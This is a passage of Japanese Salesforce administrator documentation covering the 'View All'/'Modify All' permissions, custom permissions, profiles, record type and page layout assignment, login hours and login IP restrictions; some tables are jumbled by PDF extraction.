れたすべてのレコードの参照、編集、削除、転送、承
認が許可されます。

すべて変更

メモ: ドキュメントの「すべて変更」権限があ
ればすべての共有フォルダと公開フォルダにア
クセスできますが、フォルダのプロパティの編
集や新規のフォルダの作成は行えません。フォ
ルダのプロパティの編集および新規フォルダの
作成を行うには、「公開ドキュメントの管理」
権限が必要です。

メモ: プロファイルまたは権限セットには、主従関係のあるエンティティ (取引先など) を含めることがで
きます。子エンティティに親が持つべき権限があると、権限の連動関係が壊れます。Salesforce は、プロ
ファイルまたは権限セットの最初の保存アクションで壊れた権限の連動関係の親エンティティを更新し
ます。

親エンティティで次の権限が有効子エンティティに次の権限がある場合

「すべて表示」「すべて変更」または「すべて表示」

「参照」「すべて変更」または「参照」

このセクションの内容:

「すべて表示」および「すべて変更」権限の概要
「すべて表示」および「すべて変更」権限を使用すると、共有ルールおよび共有設定は無視されます。こ
れにより、システム管理者は、組織内の特定のオブジェクトに関連付けられたレコードに対してアクセス
権を許可できます。「すべて表示」および「すべて変更」を、「すべてのデータの参照」および「すべて
のデータの編集」権限の代わりに使用することもできます。
セキュリティモデルの比較
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「すべて表示」および「すべて変更」権限の概要

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
すべてのエディション

「すべて表示」および「すべて変更」権限を使用すると、共有ルールおよび共
有設定は無視されます。これにより、システム管理者は、組織内の特定のオブ
ジェクトに関連付けられたレコードに対してアクセス権を許可できます。「す
べて表示」および「すべて変更」を、「すべてのデータの参照」および「すべ
てのデータの編集」権限の代わりに使用することもできます。
この権限のタイプ間には次の違いがあります。

この権限を必要とするユーザ使用目的権限

特定のオブジェクトのレコー
ドを管理する代理管理者

オブジェクト権限の代行。すべて表示
すべて変更

組織全体の管理者組織のすべてのデータの管理、
たとえば、データの整理、重

「すべての
データの参
照」
すべてのデー
タの編集

メモ: リリースのために
ユーザがメタデータのみ
にアクセスする必要があ
る場合は、「メタデータ
API 関数を使用したメタ

複の排除、一括削除、一括移
行、レコード承認の管理など。
「すべてのデータの参照」 (ま
たは「すべてのデータの編
集」) 権限を持つユーザは、ア データを変更」権限を有
プリケーションとデータが自 効にできます。この権限
分と共有されていない場合で は、これらのユーザに組
も、すべてのアプリケーショ 織データへのアクセスを
ンとデータを参照 (または編集)

できます。
提供せずに、リリースに
必要なアクセス権を付与
します。詳細は、
Salesforce ヘルプの「「メ
タデータ API 関数を使用
したメタデータを変更」
権限」を参照してくださ
い。

組織内の全ユーザを表示する
必要があるユーザ。ユーザオ

組織内のすべてのユーザの参
照。すべてのユーザに対する

すべてのユー
ザの参照

ブジェクトの組織の共有設定参照アクセス権が付与される
が [非公開] の場合に便利です。ため、全ユーザのレコードの
「ユーザの管理」権限のある詳細を表示でき、また全ユー
システム管理者には、「すべザが検索やリストビューなど

の対象になります。 てのユーザの参照」権限が自
動的に付与されます。

システム管理者と、関連レコー
ドや [所有者] 項目、[作成者] 項

すべての参照項目およびシス
テム項目のレコード名の参照。

すべての参照
レコード名の
参照 目、[最終更新者] 項目など、レ
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この権限を必要とするユーザ使用目的権限

コードに関するすべての情報を確認する必
要があるユーザ。この権限は、リスト
ビューとレコード詳細ページの参照レコー
ド名のみに適用されます。

アイデア、価格表、記事タイプ、商品に対する「すべて表示」および「すべて変更」権限を持つことはできま
せん。
「すべて表示」および「すべて変更」は、オブジェクト権限のみの代行を許可します。ユーザ管理およびカス
タムオブジェクト管理の任務を委任するため、代理管理者を定義します。
特定のオブジェクトの「すべて表示」によって、その従オブジェクトへのアクセス権が自動的に付与されるわ
けではありません。このシナリオでは、親レコードに関連付けられている子レコードを表示するには、共有を
使用してユーザに「参照」アクセス権が付与される必要があります。
「すべてのユーザの参照」は、組織内のユーザ表示を制御するユーザ共有が組織に設定されている場合に利用
できます。ユーザ共有についての詳細は、「ユーザ共有」を参照してください。

セキュリティモデルの比較

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce のユーザセキュリティは、共有と、ユーザおよびオブジェクト権限の
組み合わせによって実現されます。エンドユーザレコードレベルのアクセス権
など、一部のケースでは、共有を使用してレコードに対するアクセス権を与え
たほうが便利です。一方、データのレコード管理 ToDo (レコードの転送、データ
の整理、重複するレコードの排除、レコードの一括削除など) やワークフロー承
認プロセスを委任する場合は、共有を上書きして、権限を使用してレコードに
対するアクセス権を与えたほうが便利です。
「参照」、「作成」、「編集」、「削除」の各権限が共有設定を遵守します。
これにより、レコードレベルでデータへのアクセスを制御します。「すべて表
示」および「すべて変更」権限は、指定オブジェクトの共有設定を無効にしま
す。また、「すべてのデータの参照」および「すべてのデータの編集」権限は、
すべてのオブジェクトの共有設定を無効にします。
次の表は、それらのセキュリティモデルの違いを説明したものです。

共有を無効にする権限共有を遵守する権限

データの代理管理者エンドユーザ対象利用者

「すべて表示」および「すべて変
更」

「参照」、「作成」、「編集」、
および「削除」オブジェクト権限
共有設定

管理対象
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共有を無効にする権限共有を遵守する権限

「すべて表示」および「すべて変
更」

「非公開」、「参照のみ」、「参
照・更新」、「参照/更新/所有権の
移行/フルアクセス」権限

レコードアクセス権

「すべて変更」権限を持つすべて
のオブジェクトで使用可能

共有設定 (オブジェクトごとに異な
る) を遵守

転送可能か?

「すべて変更」権限を持つすべて
のオブジェクトで使用可能

なしレコードを承認できるか、または
承認プロセス中のレコードを編集
およびロック解除できるか?

「すべて表示」権限を持つすべて
のオブジェクトで使用可能

次のように規定された共有ルール
では可能。公開グループ「組織全
体」によって所有されているレコー

すべてのレコードのレポート出力
は可能か?

ドは、指定グループと「参照のみ」
アクセス権によって共有されます。

オブジェクト権限によってほとん
どのオブジェクトで使用可能

商品、ドキュメント、ソリューショ
ン、アイデア、メモ、添付ファイ
ルを除くすべてのオブジェクトで
使用可能

オブジェクトサポートは?

メモ: アイデア、価格表、記
事タイプ、商品に対する「す
べて表示」および「すべて変
更」権限を持つことはできま
せん。

プロファイルまたは権限セットロール、ロール & 下位ロール、ロー
ルと内部下位ロール、ロール、内

グループアクセス権を決めるのは?

部下位ロールとポータル下位ロー
ル、キュー、チーム、公開グルー
プ

「すべて表示」および「すべて変
更」権限を持つ非公開取引先責任

利用不可非公開レコードアクセスは可能か?

者、商談、メモと添付ファイルで
使用可能

「すべて変更」権限を持つすべて
のオブジェクトで使用可能

レコードの所有者とロール階層内
でその所有者の上位にあるユーザ
で使用可能

手動によるレコードの共有は可能
か?

ケースに対する「すべて変更」権
限で使用可能

利用不可すべてのケースコメントの管理は
可能か?
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カスタム権限
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与する
には、カスタム権限を使用します。
Salesforce の多くの機能では、特定の機能にアクセスできるユーザを指定するア
クセスチェックが必要です。権限セットとプロファイル設定には、オブジェク
ト、項目、タブ、Visualforce ページなどの多くのエンティティへのアクセス権が
組み込まれています。ただし、一部のカスタムプロセスとアプリケーションへ
のアクセス権は権限セットとプロファイルに含まれていません。たとえば、休
暇管理アプリケーションでは、ユーザは休暇要求を送信する必要がありますが、
休暇要求を承認するのは一部のユーザのみです。このような制御を行う場合に
カスタム権限を使用できます。
カスタム権限ではアクセスチェックを定義できます。アクセスチェックは、ユー
ザ権限や他のアクセス設定をユーザに割り当てる場合と同様の方法で、権限セッ
トまたはプロファイルを使用してユーザに割り当てることができます。たとえ
ば、ユーザに適切なカスタム権限が付与されている場合にのみ Visualforce ページ
でボタンを使用できるようにする Apex で、アクセスチェックを定義できます。
カスタム権限は次の方法で照会できます。
• 特定のカスタム権限へのアクセス権があるユーザを判別するには、Apex を使

用して次のような処理を実行します。

Boolean hasCustomPermission =
FeatureManagement.checkPermission('your_custom_permission_api_name');

• 接続アプリケーションでの認証時にユーザに付与されているカスタム権限を判別するには、ユーザの ID URL

を参照します。この URL は、Salesforce によって接続アプリケーションのアクセストークンと共に提供され
ます。

このセクションの内容:

カスタム権限の作成
カスタム権限を作成して、ユーザにカスタムプロセスまたはカスタムアプリケーションへのアクセス権を
付与することができます。
カスタム権限の編集
カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与するカスタム権限を編集します。
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カスタム権限の作成

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

カスタム権限を作成する
• 「カスタム権限の管

理」

カスタム権限を作成して、ユーザにカスタムプロセスまたはカスタムアプリケー
ションへのアクセス権を付与することができます。
1. [設定] から、[クイック検索] ボックスに「カスタム権限」と入力し、[カスタ

ム権限] を選択します。
2. [新規] をクリックします。
3. 次の権限情報を入力します。

• 表示ラベル  — 権限セットに表示される権限表示ラベル
• 名前  — API および管理パッケージで使用される一意の名前
• 説明  — (省略可能) この権限によってアクセス権が付与される機能の説明

(「休暇要求承認」など)。
• 接続アプリケーション  — (省略可能) この権限に関連付けられた接続アプリ

ケーション

4. [保存] をクリックします。
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カスタム権限の編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

カスタム権限を編集する
• 「カスタム権限の管

理」

カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与する
カスタム権限を編集します。
1. [設定] から、[クイック検索] ボックスに「カスタム権限」と入力し、[カスタ

ム権限] を選択します。
2. 変更する権限の横にある [編集] をクリックします。
3. 必要に応じて権限情報を編集します。

• 表示ラベル  — 権限セットに表示される権限表示ラベル
• 名前  — API および管理パッケージで使用される一意の名前
• 説明  — (省略可能) この権限によってアクセス権が付与される機能の説明

(「休暇要求承認」など)。
• 接続アプリケーション  — (省略可能) この権限に関連付けられた接続アプリ

ケーション

4. [保存] をクリックします。
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プロファイル
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、
アプリケーション内で実行可能な操作を定義します。ユーザの作成時に、各ユー
ザにプロファイルを割り当てます。
組織には標準プロファイルがいくつか含まれ、制限された数の設定を編集でき
ます。カスタムプロファイルを含むエディションでは、ユーザライセンス以外
のすべての権限と設定を編集できます。Contact Manager Edition および Group Edition

を使用する組織では、標準プロファイルをユーザに割り当てることはできます
が、標準プロファイルを表示または編集したり、カスタムプロファイルを作成
したりすることはできません。
すべてのプロファイルは、1 種類のユーザライセンスにのみ属します。

このセクションの内容:

拡張プロファイルユーザインターフェースページでの操作
拡張プロファルユーザインターフェースでは、プロファイルの概要ページが
プロファイルのすべての設定と権限への開始点となります。
元のプロファイルインターフェースの使用
元のプロファイルページでプロファイルを表示するには、[設定] から [クイッ
ク検索]ボックスに「プロファイル」と入力し、[プロファイル]を選択して目
的のプロファイルを選択します。
プロファイルリストの管理
プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法
や、アプリケーション内で実行可能な操作を定義します。ユーザの作成時
に、各ユーザにプロファイルを割り当てます。組織でプロファイルを表示するには、[設定] から、[クイッ
ク検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
プロファイルリストビューを使用した複数のプロファイルの編集
組織で拡張プロファイルリストビューが有効になっている場合は、個々のプロファイルページにアクセス
しなくても、直接リストビューから最大 200 件のプロファイルの権限を変更できます。
クローンプロファイルを作成する
API を使用すれば、カスタムプロファイルを作成したり、既存のプロファイルをコピーしてビジネスニーズ
に合わせてカスタマイズしたりできます。
プロファイルの割り当てられたユーザの表示
プロファイルの概要ページからプロファイルに割り当てられたすべてのユーザを表示するには、[割り当て
済みユーザ] (拡張プロファイルユーザインターフェース) または [このプロファイルに属するユーザの参照]

(元のプロファイルユーザインターフェース) をクリックします。割り当てられたユーザのページから、次
の操作が可能です。
権限セットとプロファイルでのタブ設定の表示と編集
タブ設定はタブが [すべてのタブ] ページに表示されるか、タブセットで表示可能かどうかを指定します。
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プロファイルでのカスタム権限の有効化
カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへのアクセス権を付与できます。
カスタム権限を作成し、プロセスまたはアプリケーションに関連付けたら、プロファイルで権限を有効に
できます。

拡張プロファイルユーザインターフェースページでの操作

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを参照する
• 「設定・定義の参照」

プロファイルを削除し、
プロファイルのプロパ
ティを編集する
• 「プロファイルと権限

セットの管理」

拡張プロファルユーザインターフェースでは、プロファイルの概要ページがプ
ロファイルのすべての設定と権限への開始点となります。
プロファイルの概要ページを開くには、[設定] から、[クイック検索] ボックス
に「プロファイル」と入力し、[プロファイル]を選択して、参照するプロファイ
ルをクリックします。

このセクションの内容:

拡張プロファイルユーザインターフェースでのレコードタイプとページレイ
アウトの割り当て
拡張プロファイルユーザインターフェースのアプリケーションおよびシステ
ム設定
拡張プロファイルユーザインターフェースでの検索
プロファイルページのオブジェクト、タブ、権限、または設定の名前を見つ
けるには、[設定の検索] ボックスにその名前の連続する 3 文字以上を入力し
ます。入力すると、検索語に一致する結果の提案がリストに表示されます。
リストの項目をクリックするとその設定ページに移動します。
拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
プロファイルごとにユーザがログインできる時間帯を指定できます。
拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによっ
て、ユーザレベルでログインアクセスを制御します。プロファイルに IP アド
レス制限を定義すると、その他のすべての IP アドレスからのログインは拒否
されます。
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拡張プロファイルユーザインターフェースでのレコードタイプとページレイアウトの割り
当て

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプおよび
ページレイアウトのアク
セス設定を編集する
• 「プロファイルと権限

セットの管理」

拡張プロファイルユーザインターフェースでは、[レコードタイプとページレイ
アウトの割り当て] の設定によってユーザがレコードを参照するときに使用され
るレコードタイプとページレイアウトの割り当ての対応付けが決まります。ま
た、ユーザがレコードを作成または編集するときに使用できるレコードタイプ
も決まります。
レコードタイプとページレイアウトの割り当てを指定する手順は、次のとおり
です。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. [設定の検索...] ボックスに、必要なオブジェクトの名前を入力し、リストか

らそのオブジェクトを選択します。
4. [編集] をクリックします。
5. [レコードタイプとページレイアウトの割り当て] セクションで、必要に応じ

て設定を変更します。

説明設定

オブジェクトの既存のレコードタイプをすべて表
示します。
[--マスタ--] は、レコードに関連付けられてい
るカスタムレコードタイプがない場合に使用され
る、システムで生成されるレコードタイプです。
[--マスタ--]が割り当てられている場合、レコー
ド作成時などにユーザがレコードにレコードタイ
プを設定することはできません。その他のレコー
ドタイプはすべてカスタムレコードタイプです。

レコードタイプ

各レコードタイプに使用するページレイアウト。
ページレイアウトによって、このプロファイルを

ページレイアウトの割り
当て

持つユーザが関連付けられたレコードタイプでレ
コードを作成するときに表示されるボタン、項
目、関連リスト、およびその他の要素が決まりま
す。すべてのユーザがすべてのレコードタイプに
アクセスできるため、レコードタイプがプロファ
イルで割り当てられたレコードタイプとして指定
されていなくても、すべてのレコードタイプにそ
れぞれページレイアウトの割り当てが必要です。

この列がチェックされているレコードタイプは、
このプロファイルを持つユーザがオブジェクトの

割り当てられたレコード
タイプ
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説明設定

レコードを作成するときに使用できます。[--マスタ--] が選択され
ている場合はカスタムレコードタイプを選択できません。また、カス
タムレコードタイプが選択されている場合は [--マスタ--]を選択で
きません。

このプロファイルを持つユーザがオブジェクトのレコードを作成する
ときに使用するデフォルトのレコードタイプ。

デフォルトのレコードタイプ

次のオブジェクトやタブでは、[レコードタイプとページレイアウトの割り当て] の設定にはいくつかのバ
リエーションがあります。

バリエーションオブジェクトまたはタブ

組織で個人取引先を使用する場合、取引先オブジェクトには追加で
[法人取引先デフォルトレコードタイプ] と [個人取引先デフォルトレ

取引先

コードタイプ] 設定が含まれます。これらの設定では、プロファイル
のユーザが法人または個人取引先レコードを取引開始後のリードから
作成するときに使用するデフォルトのレコードタイプを指定します。

ケースオブジェクトに追加で[ケースクローズ]設定が含まれます。こ
の設定は、クローズケースの各レコードタイプに使用するページレイ

ケース

アウトの割り当てを示します。つまり、同じレコードタイプのオープ
ンケースとクローズケースでページレイアウトが異なる場合がありま
す。この追加設定によって、ユーザがケースをクローズすると、ケー
スはクローズ状況によって異なるページレイアウトで表示される場合
があります。

ホームにはカスタムレコードタイプを指定できません。ページレイア
ウトの割り当ては、[--マスタ--] レコードタイプにのみ選択できます。

ホーム

6. [保存] をクリックします。

このセクションの内容:

元のプロファイルユーザインターフェースでのプロファイルへのレコードタイプの割り当て
レコードタイプを作成して選択リスト値を指定したら、レコードタイプをユーザプロファイルに追加しま
す。デフォルトのレコードタイプをプロファイルに割り当てると、そのプロファイルを持つユーザ自身が
作成または編集したレコードにそのレコードタイプを割り当てられるようになります。
元のプロファイルユーザインターフェースでのページレイアウトの割り当て
すでに元のプロファイルユーザインターフェースを使用している場合は、すべてのページレイアウトの割
り当てを 1 か所で簡単にアクセス、表示、および編集できます。
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元のプロファイルユーザインターフェースでのプロファイルへのレコードタイプの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルにレコード
タイプを割り当てる
• 「アプリケーションの

カスタマイズ」

レコードタイプを作成して選択リスト値を指定したら、レコードタイプをユー
ザプロファイルに追加します。デフォルトのレコードタイプをプロファイルに
割り当てると、そのプロファイルを持つユーザ自身が作成または編集したレコー
ドにそのレコードタイプを割り当てられるようになります。

メモ: ユーザは、レコードタイプがそのユーザのプロファイルに関連付け
られていない場合でも、レコードタイプに関係なくレコードを参照できま
す。

複数のレコードタイプを 1 つのプロファイルに関連付けることができます。た
とえば、ユーザがハードウェアとソフトウェアの商談を作成する必要があると
します。この場合、「ハードウェア」と「ソフトウェア」の両方のレコードタ
イプを作成してユーザのプロファイルに追加できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。そのプロファイルで使用できるレコードタイプ

が、[レコードタイプの設定] セクションに一覧表示されます。
3. 適切なレコードタイプの横にある [編集] をクリックします。
4. [使用可能なレコードタイプ] リストから値を選択し、[選択済みのレコードタ

イプ] リストに追加します。
[主] は、レコードに関連付けられているカスタムレコードタイプがない場合に使用される、システムで生
成されるレコードタイプです。[主]が割り当てられている場合、レコード作成時などにユーザがレコード
にレコードタイプを設定することはできません。その他のレコードタイプはすべてカスタムレコードタイ
プです。

5. [デフォルト] から、デフォルトのレコードタイプを選択します。
組織で個人取引先を使用している場合は、この設定によって取引先のホームページの [簡易作成]領域に表
示される取引先項目が決まります。

6. 組織で個人取引先を使用している場合は、個人取引先と法人取引先の両方にデフォルトのレコードタイプ
オプションを設定します。[法人取引先デフォルトレコードタイプ]で、[個人取引先デフォルトレコードタイ
プ] ドロップダウンリストからデフォルトのレコードタイプを選択します。
これらの設定は、リードの取引開始時など、両方の種類の取引先にデフォルトが必要な場合に使用されま
す。

7. [保存] をクリックします。

メモ: 組織で個人取引先を使用している場合は、個人取引先と法人取引先の両方についてレコードタイプ
のデフォルトを表示できます。プロファイル詳細ページの [取引先レコードタイプの設定] に移動します。
[取引先レコードタイプの設定] で [編集]をクリックしても、取引先のレコードタイプのデフォルト設定を
開始できます。
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元のプロファイルユーザインターフェースでのページレイアウトの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルでページレ
イアウトを割り当てる
• 「プロファイルと権限

セットの管理」

すでに元のプロファイルユーザインターフェースを使用している場合は、すべ
てのページレイアウトの割り当てを 1 か所で簡単にアクセス、表示、および編
集できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. [ページレイアウト] セクション内のタブ名の横にある [割り当ての参照] をク

リックします。
4. [割り当ての編集] をクリックします。
5. テーブルを使用して、各プロファイルのページレイアウトを指定します。組

織でレコードタイプを使用している場合、マトリックスには、各プロファイ
ルとレコードタイプのページレイアウトセレクタが表示されます。
• 選択されているページレイアウトが強調表示されます。
• 変更するページレイアウトの割り当ては、変更を保存するまで斜体で表

示されます。

6. 必要に応じて、別のページレイアウトを [使用するページレイアウト]ドロッ
プダウンリストから選択し、新しいページレイアウトに対して前の手順を繰
り返します。

7. [保存] をクリックします。

拡張プロファイルユーザインターフェースのアプリケーションおよびシステム設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

拡張プロファイルユーザインターフェースでは、管理者は 1 つのプロファイル
の各設定を容易に参照、検索、および変更できます。権限と設定はアプリケー
ションおよびシステムカテゴリの下のページに整理されます。これらのカテゴ
リには、アプリケーションおよびシステムリソースを管理および使用するため
にユーザに必要な権限が反映されます。

アプリケーション設定
アプリケーションは一連のタブで構成され、ユーザがヘッダーのドロップダウ
ンメニューを選択して変更できます。どのアプリケーションを選択しても、基
礎となるオブジェクト、コンポーネント、データ、および設定はすべて同じで
す。アプリケーションを選択するとき、ユーザは一連のタブを移動することで
基礎となる機能を効率よく使用してアプリケーション固有のタスクを実行でき
ます。たとえば、ほとんどの作業を、[取引先] や [商談] のようなタブが含まれる
営業アプリケーションで行うとします。新しいマーケティングキャンペーンを
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追跡するには、[キャンペーン] タブを営業アプリケーションに追加するのではなく、アプリケーションドロッ
プダウンから [マーケティング] を選択してキャンペーンとキャンペーンメンバーを参照します。
拡張プロファイルユーザインターフェースでは、概要ページの [アプリケーション] セクションには、アプリ
ケーションで実現されるビジネスプロセスに直接関連付けられた設定が含まれます。たとえば、カスタマー
サービスエージェントはケースを管理する必要があるため、「ケースの管理」権限は、[アプリケーション権
限] ページの [コールセンター] セクションにあります。アプリケーション設定には、アプリケーション権限に
関連していないものもあります。たとえば、AppExchange から休暇管理アプリケーションを有効にするには、
ユーザには該当する Apex クラスと Visualforce ページへのアクセス権と、新しい休暇要求を作成するためのオブ
ジェクト権限および項目権限が必要です。

メモ: 現在選択されてるアプリケーションに関係なく、ユーザの権限はすべて尊重されます。たとえば、
「リードのインポート」権限が営業カテゴリの下にある場合、ユーザはサービスアプリケーション内に
いてもリードをインポートできます。

システム設定
一部のシステムの機能は、組織に適用され、単独のアプリケーションには適用されません。たとえば、ログイ
ン時間帯の制限とログイン IP アドレスの制限では、ユーザがアクセスしているアプリケーションに関係なく、
ユーザのログイン機能が制御されます。その他のシステム機能はすべてのアプリケーションに適用されます。
たとえば、「レポート実行」または「ダッシュボードの管理」権限は、管理者がすべてのアプリケーションで
レポートを作成および管理できるようにします。場合によっては、「すべてのデータの編集」のように、権限
はすべてのアプリケーションだけでなく、データローダのダウンロード機能など、アプリケーション以外の機
能にも適用されます。

拡張プロファイルユーザインターフェースでの検索

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用できるプロファイル
権限と設定は、使用して
いる Salesforce エディショ
ンによって異なります。

ユーザ権限

プロファイルで権限と設
定を検索する
• 「設定・定義の参照」

プロファイルページのオブジェクト、タブ、権限、または設定の名前を見つけ
るには、[設定の検索]ボックスにその名前の連続する 3 文字以上を入力します。
入力すると、検索語に一致する結果の提案がリストに表示されます。リストの
項目をクリックするとその設定ページに移動します。
検索語は大文字と小文字を区別しません。一部のカテゴリでは、特定の権限ま
たは設定の名前を検索できます。他のカテゴリでは、カテゴリの名前ほ検索し
ます。

例検索項目

[設定の検索] ボックスに「セールス」
と入力し、リストから [セールス] を
選択します。

アプリケーション
名

割り当てられたア
プリケーション

Albums カスタムオブジェクトがあると
します。「albu」と入力し、
[Albums] を選択します。

オブジェクト名オブジェクト

Description 項目を含む Albums オブジェ
クトがあるとします。Albums の [説明]

親オブジェクト名• 項目
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例検索項目

項目を検索するには、「albu」と入力し、[Albums]

を選択し、[項目権限] で [説明] までスクロールしま
す。

• レコードタイプ
• ページレイアウトの割

り当て

「レポー」と入力し、[レポート] を選択します。タブまたは親オブジェク
ト名

タブ

「api」と入力し、[API の有効化] を選択します。権限名アプリケーション権限お
よびシステム権限

Apex クラスのアクセス設定を検索するには、「apex」
と入力し、[Apex クラスアクセス]を選択します。カ

カテゴリ名他のすべてのカテゴリ

スタム権限を検索するには、「cust」と入力し、[カ
スタム権限]を選択します。他のカテゴリについても
同じです。

検索結果が表示されない場合、次の点を確認してください。
• 検索対象の権限、オブジェクト、タブ、または設定が、現在の組織で使用できるかどうかを確認します。
• 検索対象の項目が、現在のプロファイルに関連付けられているユーザライセンスで使用できることを確認

します。たとえば、大規模カスタマーポータルライセンスを持つプロファイルには、「すべてのデータの
編集」権限は含まれません。

• 検索対象の項目の名前と一致する、連続する 3 文字以上が検索語に含まれていることを確認します。
• 検索語のスペルが正しいことを確認します。
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拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン時間帯の制限を
表示する
• 「設定・定義の参照」

ログイン時間帯の制限を
編集する
• 「プロファイルと権限

セットの管理」

プロファイルごとにユーザがログインできる時間帯を指定できます。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン時間帯の制限] まで下にスクロール

し、[編集] をクリックします。
4. このプロファイルを持つユーザが組織にログインできる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがログインできないようにするには、
開始時刻を [12 AM] に、終了時刻を [終業時間] に設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

メモ: 初めてプロファイルにログイン時間帯を設定したときは、[設定] の
[組織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]

に基づいて時間が表示されます。その後、[組織情報] ページで指定されて
いる組織の [タイムゾーンのデフォルト値] が変更されても、プロファイル
のログイン時間帯のタイムゾーンは変更されません。ユーザが別のタイム
ゾーンにいる場合、または組織のデフォルトのタイムゾーンが変更された
場合でも、プロファイルのログイン時間帯は変わりません。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示されます。[ログイン時間帯の制限] 編集ページの時間帯は、指定した
タイムゾーンで表示されます。[プロファイルの概要] ページの時間帯は、
組織の元のデフォルトのタイムゾーンで表示されます。
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拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン IP アドレスの制
限を参照する
• 「設定・定義の参照」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
